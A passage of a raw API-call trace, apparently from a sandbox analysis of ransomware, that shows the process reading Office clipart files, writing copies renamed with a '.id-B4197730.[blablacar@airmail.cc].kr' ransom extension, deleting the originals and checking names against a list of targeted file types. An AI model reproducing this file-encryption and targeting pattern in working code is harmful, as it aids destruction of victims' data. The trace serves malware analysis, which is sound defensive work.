Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 1 [0214.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0214.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0214.370] lstrlenW (lpString=".doc") returned 4 [0214.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.370] lstrlenW (lpString=".docx") returned 5 [0214.370] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0214.370] lstrlenW (lpString=".pdf") returned 4 [0214.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.370] lstrlenW (lpString=".xls") returned 4 [0214.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.370] lstrlenW (lpString=".xlsx") returned 5 [0214.370] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0214.370] lstrlenW (lpString=".ppt") returned 4 [0214.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0214.370] lstrlenW (lpString=".zip") returned 4 [0214.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.370] lstrlenW (lpString=".rar") returned 4 [0214.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.370] lstrlenW (lpString=".bz2") returned 4 [0214.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.370] lstrlenW (lpString=".7z") returned 3 [0214.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0214.371] lstrlenW (lpString=".dbf") returned 4 [0214.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0214.371] lstrlenW (lpString=".1cd") returned 4 [0214.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0214.371] lstrlenW (lpString=".jpg") returned 4 [0214.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0214.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0214.371] lstrlenW (lpString=".doc") returned 4 [0214.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.371] lstrlenW (lpString=".docx") returned 5 [0214.371] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0214.371] lstrlenW (lpString=".pdf") returned 4 [0214.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.371] lstrlenW (lpString=".xls") returned 4 [0214.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.371] lstrlenW (lpString=".xlsx") returned 5 [0214.371] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0214.371] lstrlenW (lpString=".ppt") returned 4 [0214.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0214.371] lstrlenW (lpString=".zip") returned 4 [0214.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.371] lstrlenW (lpString=".rar") returned 4 [0214.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.371] lstrlenW (lpString=".bz2") returned 4 [0214.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.371] lstrlenW (lpString=".7z") returned 3 [0214.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0214.371] lstrlenW (lpString=".dbf") returned 4 [0214.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0214.372] lstrlenW (lpString=".1cd") returned 4 [0214.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0214.372] lstrlenW (lpString=".jpg") returned 4 [0214.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.372] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0214.372] lstrlenW (lpString="J0107742.WMF") returned 12 [0214.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.373] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3644) returned 1 [0214.373] CloseHandle (hObject=0x568) returned 1 [0214.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 0x220 [0214.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.374] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.374] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.375] GetLastError () returned 0x0 [0214.375] ReadFile (in: hFile=0x568, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xe3c, lpOverlapped=0x0) returned 1 [0214.376] WriteFile (in: hFile=0x478, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xe40, lpOverlapped=0x0) returned 1 [0214.377] ReadFile (in: hFile=0x568, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.377] WriteFile (in: hFile=0x478, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0214.377] SetEndOfFile (hFile=0x478) returned 1 [0214.380] CloseHandle (hObject=0x478) returned 1 [0214.380] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.380] SetEndOfFile (hFile=0x568) returned 1 [0214.382] CloseHandle (hObject=0x568) returned 1 [0214.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 1 [0214.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0214.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0214.384] lstrlenW (lpString=".doc") returned 4 [0214.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.384] lstrlenW (lpString=".docx") returned 5 [0214.384] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0214.384] lstrlenW (lpString=".pdf") returned 4 [0214.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.384] lstrlenW (lpString=".xls") returned 4 [0214.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.384] lstrlenW (lpString=".xlsx") returned 5 [0214.384] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0214.384] lstrlenW (lpString=".ppt") returned 4 [0214.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0214.384] lstrlenW (lpString=".zip") returned 4 [0214.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.384] lstrlenW (lpString=".rar") returned 4 [0214.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.384] lstrlenW (lpString=".bz2") returned 4 [0214.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.385] lstrlenW (lpString=".7z") returned 3 [0214.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0214.385] lstrlenW (lpString=".dbf") returned 4 [0214.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0214.385] lstrlenW (lpString=".1cd") returned 4 [0214.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0214.385] lstrlenW (lpString=".jpg") returned 4 [0214.385] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0214.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0214.385] lstrlenW (lpString=".doc") returned 4 [0214.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.385] lstrlenW (lpString=".docx") returned 5 [0214.385] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0214.385] lstrlenW (lpString=".pdf") returned 4 [0214.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.385] lstrlenW (lpString=".xls") returned 4 [0214.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.385] lstrlenW (lpString=".xlsx") returned 5 [0214.385] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0214.385] lstrlenW (lpString=".ppt") returned 4 [0214.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0214.385] lstrlenW (lpString=".zip") returned 4 [0214.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.385] lstrlenW (lpString=".rar") returned 4 [0214.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.385] lstrlenW (lpString=".bz2") returned 4 [0214.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.386] lstrlenW (lpString=".7z") returned 3 [0214.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0214.386] lstrlenW (lpString=".dbf") returned 4 [0214.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0214.386] lstrlenW (lpString=".1cd") returned 4 [0214.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0214.386] lstrlenW (lpString=".jpg") returned 4 [0214.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.386] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0214.386] lstrlenW (lpString="J0107744.WMF") returned 12 [0214.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.387] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=5004) returned 1 [0214.387] CloseHandle (hObject=0x568) returned 1 [0214.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 0x220 [0214.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.388] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.388] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.389] GetLastError () returned 0x0 [0214.389] ReadFile (in: hFile=0x568, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x138c, lpOverlapped=0x0) returned 1 [0214.390] WriteFile (in: hFile=0x478, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1390, lpOverlapped=0x0) returned 1 [0214.391] ReadFile (in: hFile=0x568, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.392] WriteFile (in: hFile=0x478, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0214.392] SetEndOfFile (hFile=0x478) returned 1 [0214.392] CloseHandle (hObject=0x478) returned 1 [0214.392] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.392] SetEndOfFile (hFile=0x568) returned 1 [0214.394] CloseHandle (hObject=0x568) returned 1 [0214.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 1 [0214.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0214.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0214.396] lstrlenW (lpString=".doc") returned 4 [0214.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.396] lstrlenW (lpString=".docx") returned 5 [0214.396] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0214.396] lstrlenW (lpString=".pdf") returned 4 [0214.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.396] lstrlenW (lpString=".xls") returned 4 [0214.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.396] lstrlenW (lpString=".xlsx") returned 5 [0214.396] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0214.396] lstrlenW (lpString=".ppt") returned 4 [0214.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0214.396] lstrlenW (lpString=".zip") returned 4 [0214.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.396] lstrlenW (lpString=".rar") returned 4 [0214.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.396] lstrlenW (lpString=".bz2") returned 4 [0214.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.396] lstrlenW (lpString=".7z") returned 3 [0214.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0214.396] lstrlenW (lpString=".dbf") returned 4 [0214.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0214.396] lstrlenW (lpString=".1cd") returned 4 [0214.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0214.397] lstrlenW (lpString=".jpg") returned 4 [0214.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0214.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0214.397] lstrlenW (lpString=".doc") returned 4 [0214.397] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.397] lstrlenW (lpString=".docx") returned 5 [0214.397] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0214.397] lstrlenW (lpString=".pdf") returned 4 [0214.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.690] lstrlenW (lpString=".xls") returned 4 [0214.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.690] lstrlenW (lpString=".xlsx") returned 5 [0214.690] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0214.691] lstrlenW (lpString=".ppt") returned 4 [0214.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0214.691] lstrlenW (lpString=".zip") returned 4 [0214.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.691] lstrlenW (lpString=".rar") returned 4 [0214.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.691] lstrlenW (lpString=".bz2") returned 4 [0214.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.691] lstrlenW (lpString=".7z") returned 3 [0214.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0214.691] lstrlenW (lpString=".dbf") returned 4 [0214.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0214.691] lstrlenW (lpString=".1cd") returned 4 [0214.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0214.691] lstrlenW (lpString=".jpg") returned 4 [0214.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.691] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0214.691] lstrlenW (lpString="J0144773.JPG") returned 12 [0214.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0214.924] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=40231) returned 1 [0214.924] CloseHandle (hObject=0x56c) returned 1 [0214.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 0x220 [0214.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0214.936] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.936] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0214.937] GetLastError () returned 0x0 [0214.937] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x9d27, lpOverlapped=0x0) returned 1 [0214.940] WriteFile (in: hFile=0x378, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x9d30, lpOverlapped=0x0) returned 1 [0214.941] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.941] WriteFile (in: hFile=0x378, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0214.941] SetEndOfFile (hFile=0x378) returned 1 [0214.942] CloseHandle (hObject=0x378) returned 1 [0214.942] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.942] SetEndOfFile (hFile=0x56c) returned 1 [0214.945] CloseHandle (hObject=0x56c) returned 1 [0214.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 1 [0214.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0214.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0214.947] lstrlenW (lpString=".doc") returned 4 [0214.947] lstrcmpiW (lpString1=".doc", 